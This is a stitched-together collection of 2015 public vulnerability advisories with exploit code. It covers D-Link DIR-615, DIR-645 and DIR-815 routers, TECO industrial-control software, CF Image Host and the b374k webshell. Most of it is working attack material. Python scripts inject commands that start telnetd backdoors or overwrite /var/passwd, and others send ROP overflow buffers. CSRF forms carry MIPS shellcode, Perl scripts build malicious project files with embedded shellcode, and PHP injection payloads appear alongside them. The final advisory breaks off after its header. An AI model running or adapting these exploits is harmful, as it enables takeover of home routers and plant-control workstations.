# CMD_INJECTION_INPINGTEST
# Just need user to be logged in and nothing else
buf = "POST /my_cgi.cgi HTTP/1.0\r\n"
buf+="HOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nAccept-Encoding:gzip,deflate,sdch\r\nAccept-Language:en-US,en;q=0.8\r\nContent-Length:101\r\n\r\n"
buf+="request=ping_test&admin3_user_name=admin1;echo admin > /var/passwd1;test&admin4_user_pwd=admin2&user_type=0"+"\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("IP_ADDRESS", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
## Advisory Information
Title: Dlink DIR-615 Authenticated Buffer overflow in Ping and Send email functionality
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-615 -- Wireless N300 router from Dlink. Mainly used by home and small offices.
## Vulnerabilities Summary
I have come across 2 security issues in DIR-615 firmware which allows an attacker using XSRF attack to exploit buffer overflow vulnerabilities in ping and send email functionality.
## Details
# Ping buffer oberflow
----------------------------------------------------------------------------------------------------------------------
<!-- reboot shellcode Big Endian MIPS-->
<html>
<body>
<form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/ping_response.cgi">
<input type="text" id="html_response_page" name="html_response_page" value="tools_vct.asp&html_response_return_page=tools_vct.asp&action=ping_test&ping_ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BF%99%F4%2A%C1%1C%30AAAA%2A%BF%8F%04CCCC%2A%BC%9B%9CEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE%2A%BC%BD%90FFFFFFFFFFFFFFFF%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0c&ping=ping"></td>
<input type=submit value="submit">
</form>
</body>
</html>
----------------------------------------------------------------------------------------------------------------------
# Send email buffer overflow
----------------------------------------------------------------------------------------------------------------------
<!-- reboot shellcode Big Endian MIPS-->
<html>
<body>
<form id="form5" name="form5" enctype="text/plain" method="post" action="http://192.168.100.14/send_log_email.cgi">
<input type="text" id="auth_active" name="auth_active" value="testy)%3b&log_email_from=test@test.com&auth_acname=sweetBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBIIII%2A%BF%99%F4%2A%C1%1C%30FFFF%2A%BF%8F%04DDDDCCCCBBBB%2A%BC%9B%9CCCC&auth_passwd=test1)&log_email_server=mail.google.com%3breboat%3b%23%23testAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&log_email_port=25&log_email_sender=ses@gmail.com%3brebolt%3b%23%23teYYYY%2A%BC%BD%90AAAAAAAAAAAAtest%3c%06%43%21%34%c6%fe%dc%3c%05%28%12%34%a5%19%69%3c%04%fe%e1%34%84%de%ad%24%02%0f%f8%01%01%01%0cAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAAtestAAAAAAAAAAAAAAAAAA&model_name=test&action=send_log_email&test=test"></td>
<input type=submit value="submit">
</form>
</body>
</html>
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
## Advisory Information
Title: Dlink DIR-645 UPNP Buffer Overflow
Vendors contacted: William Brown <william.brown@dlink.com> (Dlink)
Release mode: Released
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-645 -- Whole Home Router 1000 from Dlink. Mainly used by home and small offices.
## Vulnerabilities Summary
I have come across 2 security issues in DIR-645 firmware which allows an attacker on wireless LAN and possibly WAN network to execute command injection and buffer overflow attack against the wireless router. I have provided exploit scripts written in python that give details of the exploits. The buffer overflow does not have a payload at this time, however if you watch the exploit in a debugger, then it can be clearly seen that the payload uses ROP techniques to get to stack payload which is a bunch of C's for now on the stack. It can be replaced with any payload that works on MIPS little endian architecture.
## Details
# Command injection
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + 'test;telnetd -p 9656;test\r\n' + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
# Buffer overflow
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
exploit_buffer = "POST /HNAP1/ HTTP/1.0\r\nHOST: 10.0.0.1\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";pt;"+"B"*158
exploit_buffer+="C"*50+"Z"*46
exploit_buffer+="\xb4\x67\xb3\x2a"
exploit_buffer+="\xd0\xeb\xb4\x2a"
exploit_buffer+="VVVV"
a
exploit_buffer+="\x7c\xba\xb1\x2a"
exploit_buffer+="K"*16
exploit_buffer+="\x44\x3b\xb0\x2A"
exploit_buffer+="A"*36
exploit_buffer+="\xf0\x5e\xb0\x2A"
exploit_buffer+="H"*16
exploit_buffer+="C"*212+"\r\n" + "1\r\n\r\n"
print "[+] sending exploit_bufferfer size", len(exploit_buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 80))
s.send(exploit_buffer)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* Jan 22, 2015: Vulnerability found by Samuel Huntley by William Brown.
* Feb 15, 2015: Vulnerability is patched by Dlink
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
## Advisory Information
Title: DIR-815 Buffer overflows and Command injection in authentication and HNAP functionalities
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR-815 -- Wireless N300 Dual Band Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.
## Details
Buffer overflow in auth
----------------------------------------------------------------------------------------------------------------------
import urllib
import urllib2
# This exploits the auth_main.cgi with read buffer overflow exploit for v2.02
# prequisite is just to have id and password fields in params
url = 'http://192.168.0.1/authentication.cgi'
junk = "A"*1004+"B"*37+"\x58\xf8\x40\x00" # address of system function in executable
junk+="X"*164+'echo "Admin" "Admin" "0" > /var/passwd\x00'+"AAAA"
values = "id=test&password=test&test="+junk
req = urllib2.Request(url, values)
response = urllib2.urlopen(req)
the_page = response.read()
----------------------------------------------------------------------------------------------------------------------
Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
# format junk+ROP1(have right value in A0) + ROP2(add or subtract to create right system address) + ROP3(Jump to right address)
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"H"*286
buf+= "\x40\xF4\xB1\x2A" # (ROP gadget which puts right value in A0)
buf+= "B"*20+"ZZZZ"+"telnetd -p 6778"+"C"*5 # adjustment to get to the right payload
buf+="\xA0\xb2\xb4\x2a" # The system address is 2Ab4b200 so changing that in GDB just before jumping to test if it works which it does not
buf+= "\r\n" + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.2.3.4", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
Command injection in
----------------------------------------------------------------------------------------------------------------------
import socket
import struct
# CSRF or any other trickery, but probably only works when connected to network I suppose
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 99.249.143.124\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090;\r\n' + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.1", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley
#!/usr/bin/perl
#
#
# TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow Exploit
#
#
# Vendor: TECO Electric and Machinery Co., Ltd.
# Product web page: http://www.teco-group.eu
# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9
# Affected version: 1.482 and 1.462
#
# Summary: JN5 DriveLink is a free program that enables you to
# configure the AC Motor Drive, 510 Series PC-Link. It provides
# support for sleep and fire modes favourable for pumps, fans,
# compressors, and HVAC and communication network protocol of
# Modbus/ BACnet/ Metasys N2.
#
# Desc: The vulnerability is caused due to a boundary error in the
# processing of a project file, which can be exploited to cause a
# buffer overflow when a user opens e.g. a specially crafted .LF5 file.
# Successful exploitation could allow execution of arbitrary code on
# the affected machine.
#
# ---------------------------------------------------------------------------------
# (14c0.12ec): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\MFC42.DLL -
# *** WARNING: Unable to verify checksum for C:\Program Files (x86)\TECO\JN5 DriveLink\L510-DriveLink\L510-DriveLink.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\TECO\JN5 DriveLink\L510-DriveLink\L510-DriveLink.exe
# eax=000026a0 ebx=0018f430 ecx=41414141 edx=00000001 esi=0018f408 edi=ffffd961
# eip=70735d7e esp=0018f350 ebp=0018f364 iopl=0 nv up ei ng nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210282
# MFC42!Ordinal2740+0xaa:
# 70735d7e 8b01 mov eax,dword ptr [ecx] ds:002b:41414141=????????
# 0:000> !exchain
# 0018f3e4: 41414141
# Invalid exception stack at 41414141
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit
# Microsoft Windows 7 Ultimate SP1 (EN) 64bit
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5279
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5279.php
#
#
# 09.10.2015]
#
my $header = "\x04\x00\x00\x00\x0A\x00\x00\x00\x4C\x35\x31\x30\x2D\x31".
"\x50\x32\x2D\x48\x0E\x00\x00\x00\x14\x00\x00\x00\x01\x00";
# 113 bytes MessageBox shellcode
my $sc = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64".
"\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
my $buffer = "A" x 43 . "\xEB\x06\x90\x90" . "\xB0\x5D\x40\x00" . "\x90" x 16 . $sc . "\x90" x 20 . "D" x 2627;
my $file = "Gaming Nerdz.lf5";
my $junk = $header.$buffer;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "Malicious LF5 file created successfully!\n";
# TECO AP-PCLINK 1.094 TPC File Handling Buffer Overflow Vulnerability
#
#
# Vendor: TECO Electric and Machinery Co., Ltd.
# Product web page: http://www.teco-group.eu
# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9
# Affected version: 1.094
#
# Summary: AP-PCLINK is the supportive software for TP03 or AP series, providing
# three edit modes as LADDER, IL, FBDand SFC, by which programs can be input rapidly
# and correctly. Every form written into the TP03 or AP series and AP-PCLINK can
# be monitored in the form of the data.
#
# Desc: The vulnerability is caused due to a boundary error in the processing
# of a project file, which can be exploited to cause a buffer overflow when a
# user opens e.g. a specially crafted .TPC file. Successful exploitation could
# allow execution of arbitrary code on the affected machine.
#
# ---------------------------------------------------------------------------------
# Critical error detected c0000374
# (1950.ff0): Break instruction exception - code 80000003 (first chance)
# eax=00000000 ebx=00000000 ecx=76f70b42 edx=0018d98d esi=00360000 edi=41414141
# eip=76fce725 esp=0018dbe0 ebp=0018dc58 iopl=0 nv up ei pl nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
# ntdll!RtlpNtEnumerateSubKey+0x1af8:
# 76fce725 cc int 3
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit
# Microsoft Windows 7 Ultimate SP1 (EN) 64bit
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5278
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5278.php
#
#
# 09.10.2015
#
PoC:
- http://zeroscience.mk/codes/aptpc-5278.zip
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38703.zip
# TECO TP3-PCLINK 2.1 TPC File Handling Buffer Overflow Vulnerability
#
#
# Vendor: TECO Electric and Machinery Co., Ltd.
# Product web page: http://www.teco-group.eu
# Affected version: 2.1
#
# Summary: TP3-PCLINK Software is the supportive software for TP03, providing
# three edit modes as LADDER, IL ,FBDand SFC, by which programs can be input
# rapidly and correctly.
#
# Desc: The vulnerability is caused due to a boundary error in the processing
# of a project file, which can be exploited to cause a buffer overflow when a
# user opens e.g. a specially crafted .TPC file. Successful exploitation could
# allow execution of arbitrary code on the affected machine.
#
# ---------------------------------------------------------------------------------
# (794.193c): C++ EH exception - code e06d7363 (first chance)
# Critical error detected c0000374
# (794.193c): Break instruction exception - code 80000003 (first chance)
# eax=00000000 ebx=00000000 ecx=778f0b42 edx=0018db71 esi=02730000 edi=41414141
# eip=7794e725 esp=0018ddc4 ebp=0018de3c iopl=0 nv up ei pl nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
# ntdll!RtlpNtEnumerateSubKey+0x1af8:
# 7794e725 cc int 3
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit
# Microsoft Windows 7 Ultimate SP1 (EN) 64bit
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5277
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5277.php
#
#
# 09.10.2015
#
PoC:
- http://zeroscience.mk/codes/tp3tpc-5277.zip
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38702.zip
# TECO SG2 FBD Client 3.51 SEH Overwrite Buffer Overflow Vulnerability
#
#
# Vendor: TECO Electric and Machinery Co., Ltd.
# Product web page: http://www.teco-group.eu
# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9
# Affected version: 3.51 and 3.40
#
# Summary: SG2 Client is a program that enables to create and edit applications.
# The program is providing two edit modes, LADDER and FBD to rapidly and directly
# input the required app. The Simulation Mode allows users to virtually run and test
# the program before it is loaded to the controller.
#
# Desc: The vulnerability is caused due to a boundary error in the processing
# of a Genie FBD, which can be exploited to cause a buffer overflow when a
# user opens e.g. a specially crafted .GFB file. Successful exploitation could
# allow execution of arbitrary code on the affected machine.
#
# ---------------------------------------------------------------------------------
# (fb0.fd0): Access violation - code c0000005 (!!! second chance !!!)
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\SysWOW64\ntdll.dll -
# *** WARNING: Unable to verify checksum for C:\Program Files (x86)\TECO\SG2 Client\FBD.EXE
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\TECO\SG2 Client\FBD.EXE
# eax=4141413f ebx=00000004 ecx=41414141 edx=41414141 esi=0018f578 edi=00a642e8
# eip=00440b57 esp=0018ef9c ebp=0000003f iopl=0 nv up ei pl nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
# FBD+0x40b57:
# 00440b57 8995a0000000 mov dword ptr [ebp+0A0h],edx ss:002b:000000df=????????
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit
# Microsoft Windows 7 Ultimate SP1 (EN) 64bit
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5276
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5276.php
#
#
# 09.10.2015
#
PoC:
- http://zeroscience.mk/codes/sg2fbd-5276.zip
- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38701.zip
#!/usr/bin/perl
#
#
# TECO SG2 LAD Client 3.51 SEH Overwrite Buffer Overflow Exploit
#
#
# Vendor: TECO Electric and Machinery Co., Ltd.
# Product web page: http://www.teco-group.eu
# Download: http://globalsa.teco.com.tw/support_download.aspx?KindID=9
# Affected version: 3.51 and 3.40
#
# Summary: SG2 Client is a program that enables to create and edit applications.
# The program is providing two edit modes, LADDER and FBD to rapidly and directly
# input the required app. The Simulation Mode allows users to virtually run and test
# the program before it is loaded to the controller.
#
# Desc: The vulnerability is caused due to a boundary error in the processing of a
# Genie LAD file, which can be exploited to cause a buffer overflow when a user opens
# e.g. a specially crafted .GEN file. Successful exploitation could allow execution
# of arbitrary code on the affected machine.
#
# ---------------------------------------------------------------------------------
# (10bc.1358): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=43434343 edx=7794b4ad esi=00000000 edi=00000000
# eip=43434343 esp=0018dc24 ebp=0018dc44 iopl=0 nv up ei pl zr na pe nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
# 43434343 ?? ???
# 0:000> !exchain
# 0018dc38: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad)
# 0018e1d4: ntdll!LdrRemoveLoadAsDataTable+d64 (7794b4ad)
# 0018e800: MFC42!Ordinal1580+373 (708df2fc)
# 0018f098: 43434343
# Invalid exception stack at 42424242
# ---------------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN) 64bit
# Microsoft Windows 7 Ultimate SP1 (EN) 64bit
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5275
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5275.php
#
#
# 09.10.2015]
#
# 113 bytes MessageBox shellcode
my $sc = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64".
"\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
# Address = 0041D659
# Message = 0x0041d659 : pop edi # pop esi # ret 0x04
# startnull {PAGE_EXECUTE_READ} [LAD.exe]
# ASLR: False;
# Rebase: False;
# SafeSEH: False;
# OS: False;
# v0.2.9.0 (C:\Program Files (x86)\TECO\SG2 Client\LAD.exe)
my $file = "lad.gen";
my $junk = "\x41" x 21750 . "\xEB\x08\x90\x90" . "\x59\xd6\x41\x00" . "\x90" x 28 . $sc . "\x90" x 20;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "Malicious GEN file created successfully!\n";
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-CFIMAGEHOST-PHP-CMD-INJECTION.txt
Vendor:
====================================
codefuture.co.uk/projects/imagehost
Product:
===================================
CF Image Host 1.65 - 1.6.6
Archive download listed as: version 1.65
unzips as imagehost 1.6.6
Vulnerability Type:
=====================
PHP Command Injection
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
CF Imagehost allows users who have access to the management area the
ability to write directly to the 'set.php' page under
the /inc directory that stores setting values for the 'Site Title', 'Site
Slogan' etc, this allows a local attacker ability to
inject specially crafted PHP command payloads to execute arbitrary
operating system commands on the victim host. Possibly leading
to privilege escalation, RFI, backdoors etc.. and most likely full
compromise of the affected system or shared environment
if applicable.
PHP Command Injection Exploit code(s):
=====================================
Under the setting tab we can inject following below PHP code and it will
remain persistent as it is written disk in 'set.php',
afterwards when the victim visits the application and click a tab the
persistent OS command will be executed.
1) navigate to CF image host settings tab
http://localhost/imagehost1.6.6/admin.php?act=set
2) click on admin menu on left and enter your passwords DO NOT click 'Save
changes' yet! or you get error message to enter creds
3) now go back to settings tab and click 'General' then inject below PHP
code into the 'Site Title' input field
4) now click 'Save Changes', this code will get stored under /inc
directory within the 'set.php' PHP file.
our PHP injection payload needs the single quotes, double back slashes,
semicolons as described below to correctly escape the syntax
so we do not break the PHP page and cause errors, our extra \\ quoutes and
; gets removed after injection takes place.
some examples...
';echo exec("c:\\Windows\\system32\\calc.exe");'';';
'set.php' on line 11 then becomes:
$settings['SET_TITLE'] = '';echo
exec("c:\Windows\system32\calc.exe");'';';';
OR inject CMD to launch chrome.exe etc...
';echo exec("c:\\Program Files
(x86)\\Google\\Chrome\\Application\\chrome.exe");'';';
After, click on some tabs above like 'Database' or 'Ban User' and Tada!
this will execute our stored PHP command...
either running calc.exe or launching Google Chrome.
Disclosure Timeline:
=====================
Vendor Notification: NA
November 13, 2015 : Public Disclosure
Exploitation Technique:
=======================
Local / Remote
Severity Level:
================
High
Description:
================================================================
Request Method(s): [+] POST
Vulnerable Product: [+] CF Image Host 1.65 - 1.6.6
Vulnerable Parameter(s): [+] 'Site Title', 'Site Slogan' etc..
Affected Area(s): [+] OS
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-B374K-CSRF-CMD-INJECTION.txt
Vendor:
============================================
github.com/b374k/b374k
code.google.com/p/b374k-shell/downloads/list
code.google.com/archive/p/b374k-shell/
Product:
==============================================
b374k versions 3.2.3 and 2.8
b374k is a PHP Webshell with many features such as:
File manager (view, edit, rename, delete, upload, download as archive,etc)
Command execution, Script execution (php, perl, python, ruby, java,
node.js, c)
Give you shell via bind/reverse shell connect
Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more
using ODBC or PDO)
Process list/Task manager.
This is useful for system/web admin to do remote management without opening
cpanel, connecting using ssh,
ftp etc. All actions take place within a web browser.
Note:
b374k is considered by some as a malicious backdoor and is flagged by some
AV upon download.
Vulnerability Type:
=============================
CSRF Remote Command Injection
Vulnerability Details:
=====================
No CSRF protection exists in b374k Web Shell allowing arbitrary OS command
injection, if currently
logged in user visits our malicious website or clicks our infected linxs.
vulnerable b374k code:
<?php
if(isset($_GP['cmd'])) <------ $_GP holds value of $_GET passed to the
shell.
<form action='<?php echo $s_self; ?>' method='post'>
<input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd'
style='width:70%;' value='<?php
if(isset($_GP['cmd'])) echo "";
else echo "- shell command -";
?>' />
<noscript><input class='inputzbut' type='submit' value='Go !'
name='submitcmd' style='width:80px;' /></noscript>
</form>
Exploit code(s):
=================
Run Windows calc.exe as POC...
[CSRF Command Injections]
v3.2
Adding password and packing to b374k single PHP file.
c:\xampp\htdocs\b374k-master>php -f index.php -- -o myshell.php -p abc123
-s -b -z gzcompress -c 9
b374k shell packer 0.4.2
Filename : myshell.php
Password : xxxxxx
Theme : default
Modules : convert,database,info,mail,network,processes
Strip : yes
Base64 : yes
Compression : gzcompress
Compression level : 9
Result : Succeeded : [ myshell.php ] Filesize : 111419
(CSRF Command injection 1)
<form id='ABYSMALGODS' action='
http://localhost/b374k-master/myshell.php?run=convert,database,info,mail,network,processes'
method='post'>
<input id='cmd' type='text' name='terminalInput' value='calc.exe' />
<script>document.getElementById('ABYSMALGODS').submit()</script>
</form>
v2.8
(CSRF Command injection 2)
<form id='HELL' action='http://localhost/b374k-2.8.php?' method='post'>
<input id='cmd' type='text' name='cmd' value='calc.exe' />
<script>document.getElementById('HELL').submit()</script>
</form>
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Description:
==================================================
Request Method(s): [+] POST
Vulnerable Product: [+] b374k 3.2 and 2.8
Vulnerable Parameter(s): [+] terminalInput, cmd
Affected Area(s): [+] OS
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx
#!/usr/bin/env python
# Exploit Title : Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC
# Discovery by : Nipun Jaswal
# Email : mail@nipunjaswal.info
# Discovery Date : 12/11/2015
# Vendor Homepage : http://samspade.org
# Software Link : http://www.majorgeeks.com/files/details/sam_spade.html
# Tested Version : 1.14
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS : Windows XP Professional SP2 x86 es
